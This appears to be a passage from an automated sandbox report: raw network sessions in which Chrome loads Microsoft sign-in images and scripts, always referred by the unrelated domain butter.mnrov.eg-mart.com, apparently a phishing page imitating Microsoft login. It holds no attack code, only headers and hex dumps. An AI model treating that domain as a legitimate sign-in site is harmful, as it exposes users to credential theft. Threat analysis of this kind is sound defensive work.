2024-11-14 15:39:46 UTC	16383	IN	Data Raw: 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 22 2c 74 68 69 73 2e 73 74 61 63 6b 3d 28 6e 65 77 20 45 72 72 6f 72 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 69 6e 6e 65 72 45 72 72 6f 72 3d 65 2c 74 68 69 73 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 3d 6e 2c 74 68 69 73 2e 70 6f 73 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 41 63 74 69 6f 6e 3d 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 33 29 2c 61 3d 74 28 37 29 2c 6f 3d 69 2e 41 72 72 61 79 2c 72 3d 7b 6d 65 72 67 65 53 65 73 73 69 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 5b 5d 3b 72 65 74 75 72 6e 20 Data Ascii: idation failed, user confirmation required.",this.stack=(new Error).stack,this.innerError=e,this.confirmationViewId=n,this.postConfirmationAction=t},e.exports=l},function(e,n,t){var i=t(3),a=t(7),o=i.Array,r={mergeSessions:function(e,n,t){var i=[];return
2024-11-14 15:39:46 UTC	16383	IN	Data Raw: 72 6c 43 64 6e 2c 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 49 6d 61 67 65 50 61 74 68 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2b 22 69 6d 61 67 65 73 2f 22 3b 76 61 72 20 61 3d 74 28 32 29 2c 6f 3d 74 28 37 30 29 2c 72 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 63 3d 74 28 37 33 29 2c 64 3d 74 28 37 29 2c 6c 3d 74 28 37 34 29 3b 74 28 31 38 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 3b 76 61 72 20 75 3d 72 2e 4c 6f 67 69 6e 4d 6f 64 65 2c 70 3d 73 2e 48 65 6c 70 65 72 2c 66 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 2c 67 3d 73 2e 43 6f 6f 6b 69 65 73 2c 6d 3d 64 2e 4c 6f 67 69 6e 4f 70 74 69 6f 6e 2c 62 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 21 66 75 6e 63 74 69 6f Data Ascii: rlCdn,i.ServerData.urlImagePath=i.ServerData.urlCdn+"images/";var a=t(2),o=t(70),r=t(0),s=t(1),c=t(73),d=t(7),l=t(74);t(18).getInstance(window.ServerData);var u=r.LoginMode,p=s.Helper,f=s.QueryString,g=s.Cookies,m=d.LoginOption,b=!1;function v(e){!functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49741	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:44 UTC	650	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:44 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340062 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Thu, 14 Nov 2024 15:39:44 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (lhc/7944) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1c016ee5-901e-008a-08ad-7d0366000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-11-14 15:39:44 UTC	15682	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-11-14 15:39:44 UTC	1492	IN	Data Raw: 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 Data Ascii: {L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49742	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:46 UTC	406	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:46 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340064 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Thu, 14 Nov 2024 15:39:46 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (lhc/7944) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1c016ee5-901e-008a-08ad-7d0366000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-11-14 15:39:46 UTC	16383	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-11-14 15:39:46 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49745	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:47 UTC	621	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:47 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7639806 Cache-Control: public, max-age=31536000 Content-MD5: betEqf4nMmbvq8MhS5mLoA== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:47 GMT Etag: 0x8DCBD52F3A242D0 Last-Modified: Thu, 15 Aug 2024 17:51:55 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bbd0cf2c-501e-006f-482f-f15e3d000000 x-ms-version: 2009-09-19 Content-Length: 15755 Connection: close
2024-11-14 15:39:47 UTC	15653	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:47 UTC	102	IN	Data Raw: 6c 6f 67 69 6e 5f 70 66 65 74 63 68 73 65 73 73 69 6f 6e 73 70 72 6f 67 72 65 73 73 5f 64 30 61 38 30 33 32 37 39 65 37 33 39 37 62 65 66 38 33 34 3d 21 30 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 2e 2e 2f 64 30 61 38 30 33 32 37 39 65 37 33 39 37 62 65 66 38 33 34 2e 6d 61 70 Data Ascii: login_pfetchsessionsprogress_d0a803279e7397bef834=!0;//# sourceMappingURL=../d0a803279e7397bef834.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49744	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:47 UTC	669	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:47 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340014 Cache-Control: public, max-age=31536000 Content-MD5: Fm3lNHEmUlOrOkVt7+baIw== Content-Type: image/gif Date: Thu, 14 Nov 2024 15:39:47 GMT Etag: 0x8DB5C3F4982FD30 Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7945) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c8ea465c-601e-0025-11ad-7d4c1f000000 x-ms-version: 2009-09-19 Content-Length: 2672 Connection: close
2024-11-14 15:39:47 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49746	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:47 UTC	663	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:47 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340192 Cache-Control: public, max-age=31536000 Content-MD5: tUCo5RgDcZLjLE/li/Lbqw== Content-Type: image/gif Date: Thu, 14 Nov 2024 15:39:47 GMT Etag: 0x8DB5C3F492F3EE5 Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7941) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1d63faa2-d01e-009e-5cad-7d1f4c000000 x-ms-version: 2009-09-19 Content-Length: 3620 Connection: close
2024-11-14 15:39:47 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49743	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:47 UTC	435	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:47 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790885 Cache-Control: public, max-age=31536000 Content-MD5: LT++1t3XGfzBv7UAthL87A== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:47 GMT Etag: 0x8DCBD52F37806EC Last-Modified: Thu, 15 Aug 2024 17:51:54 GMT Server: ECAcc (lhc/7888) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 10a7d1b4-001e-005d-7bcf-ef5e4a000000 x-ms-version: 2009-09-19 Content-Length: 406986 Connection: close
2024-11-14 15:39:47 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:47 UTC	16383	IN	Data Raw: 69 3d 4d 61 74 68 2e 6d 69 6e 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 6e 28 74 29 3b 72 65 74 75 72 6e 20 72 3c 30 3f 6f 28 72 2b 65 2c 30 29 3a 69 28 72 2c 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 33 37 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 5b 5d 5b 74 5d 3b 72 65 74 75 72 6e 21 21 72 26 26 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 31 7d 2c 31 29 7d 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 Data Ascii: i=Math.min;t.exports=function(t,e){var r=n(t);return r<0?o(r+e,0):i(r,e)}},function(t,e,r){"use strict";var n=r(537);t.exports=function(t,e){var r=[][t];return!!r&&n((function(){r.call(null,e\|\|function(){return 1},1)}))}},function(t,e,r){"use strict";var
2024-11-14 15:39:47 UTC	16383	IN	Data Raw: 21 31 7d 29 2c 65 7d 28 72 28 36 38 32 29 29 3b 45 2e 72 65 67 69 73 74 65 72 50 61 72 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 67 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 41 74 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6d 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 6f 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 62 3d 74 7d 2c 74 2e 65 78 70 6f 72 74 73 3d 45 2c 45 5b 22 64 65 66 61 75 6c 74 22 5d 3d 45 2c 45 2e 72 65 62 75 69 6c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 61 74 72 75 6c 65 22 3d 3d 3d 74 2e 74 79 70 65 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 29 3a 22 72 75 6c Data Ascii: !1}),e}(r(682));E.registerParse=function(t){v=t},E.registerRule=function(t){g=t},E.registerAtRule=function(t){m=t},E.registerRoot=function(t){b=t},t.exports=E,E["default"]=E,E.rebuild=function(t){"atrule"===t.type?Object.setPrototypeOf(t,m.prototype):"rul
2024-11-14 15:39:47 UTC	16383	IN	Data Raw: 64 22 21 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 26 26 28 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 74 29 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 29 29 72 65 74 75 72 6e 20 74 2e 62 79 74 65 4c 65 6e 67 74 68 3b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 22 22 2b 74 29 3b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3d 3d 3d 72 29 72 65 74 75 72 6e 20 30 3b 66 6f 72 28 76 61 72 20 6e 3d 21 31 3b 3b 29 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 61 73 63 69 69 22 3a 63 61 73 65 22 6c 61 74 69 6e 31 22 3a 63 61 73 65 22 62 69 6e 61 72 Data Ascii: d"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(t)\|\|t instanceof ArrayBuffer))return t.byteLength;"string"!=typeof t&&(t=""+t);var r=t.length;if(0===r)return 0;for(var n=!1;;)switch(e){case"ascii":case"latin1":case"binar
